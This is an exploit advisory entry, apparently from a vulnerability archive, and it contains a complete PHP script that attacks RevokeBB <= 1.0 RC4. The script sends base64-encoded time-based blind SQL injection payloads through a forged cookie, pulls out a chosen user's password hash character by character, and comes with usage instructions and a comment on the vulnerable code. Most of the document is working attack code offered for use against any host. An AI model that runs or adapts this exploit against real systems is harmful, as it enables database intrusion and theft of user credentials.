RevokeBB Blind SQL Injection / Hash Extractor

Type securityvulns
Reporter Securityvulns
Modified 2007-06-03T00:00:00


!/usr/bin/php -q -d short_open_tag=on

<? echo "

RevokeBB <= 1.0 RC4 Blind SQL Injection / Hash Retrieve Exploit


by BlackHawk <> <> Thanks to rgod for the php code and Marty for the Love

"; if ($argc<5) { echo " Usage: php ".$argv[0]." Host Path UserName PrefiX Host: target server (ip/hostname) Path: path of revbb UserName: a valid username PrefiX: the table prefix (usually revokebb_)

Example: php ".$argv[0]." localhost /revbb/ admin revokebb_ "; die; } error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5);

function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); } /*

Vuln Explanation:

This board is very cool, and before founding this bug I was sure to use it for my forum..

Vulnerable code can be found at inc\class_users.php, line 94:

if(!$_SESSION['auth'] && isset($_COOKIE['revokebb_user'])) { $temp_name = explode('%%',$_COOKIE['revokebb_user']); $temp_name[0] = base64_decode($temp_name[0]); <--- 1 $query = $this->db->execQuery( $this->db->sql_build('cookie_user_exists', array($temp_name[0], $temp_name[1] ) )); if($this->db->num_rows($query)==1) { $temp=$this->db->fetch_array($query); $this->login($temp_name[0], $temp_name[1], $sid, false, 0); <--- 2 } else setcookie('revokebb_user', '', time() - 3600); }

With base64_decode we can easy bypass magic_quotes, and inject a very pretty username into the SQL statement, but unfotunatly, because of point 2 we could not complete bypass the login, this is the code:

$username = htmlspecialchars($username, ENT_QUOTES); $password = htmlspecialchars($password, ENT_QUOTES);

so what we could do is only a blind sql injection to bruteforce the hash of the admin..


in the various version the cookie name change, so edit it when doing the attack..

I must name my "friend" SpiderZ on this exploit, because his advisory with an EXTREMLY CRITICAL XSS in this board is the reason why I have analized this software to show him what a vuln is.. */ $host=$argv[1]; $path=$argv[2]; $uname=$argv[3]; $prefix=$argv[4];

$port=80; $proxy="";

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$md5s[0]=0;//null $md5s=array_merge($md5s,range(48,57)); //numbers $md5s=array_merge($md5s,range(97,102));//a-f letters


$j=1;$password=""; while (!strstr($password,chr(0))) { for ($i=0; $i<=255; $i++) { if (in_array($i,$md5s)) { $starttime=time(); $sql=base64_encode("69' UNION SELECT IF ((ASCII(SUBSTRING(".$prefix."users.user_password,".$j.",1))=".$i.") & 1, benchmark(200000000,CHAR(0)),0),2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1 FROM ".$prefix."users WHERE ".$prefix."users.user_nick = '$uname'/*"); $packet ="GET ".$p."index.php HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: rv_user=$sql%%hawk\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); if (eregi("The used SELECT statements have a different number of columns",$html)){echo $html; die("\nunknown query error...");} $endtime=time(); echo "endtime -> ".$endtime."\r\n"; $difftime=$endtime - $starttime; echo "difftime -> ".$difftime."\r\n"; if ($difftime > 7) {$password.=chr($i);echo "password -> ".$password."[???]\r\n";sleep(2);break;} } if ($i==255) {die("Exploit failed...");} } $j++; } echo "

$uname Hash is: $password";

Coded With BH Fast Generator v0.1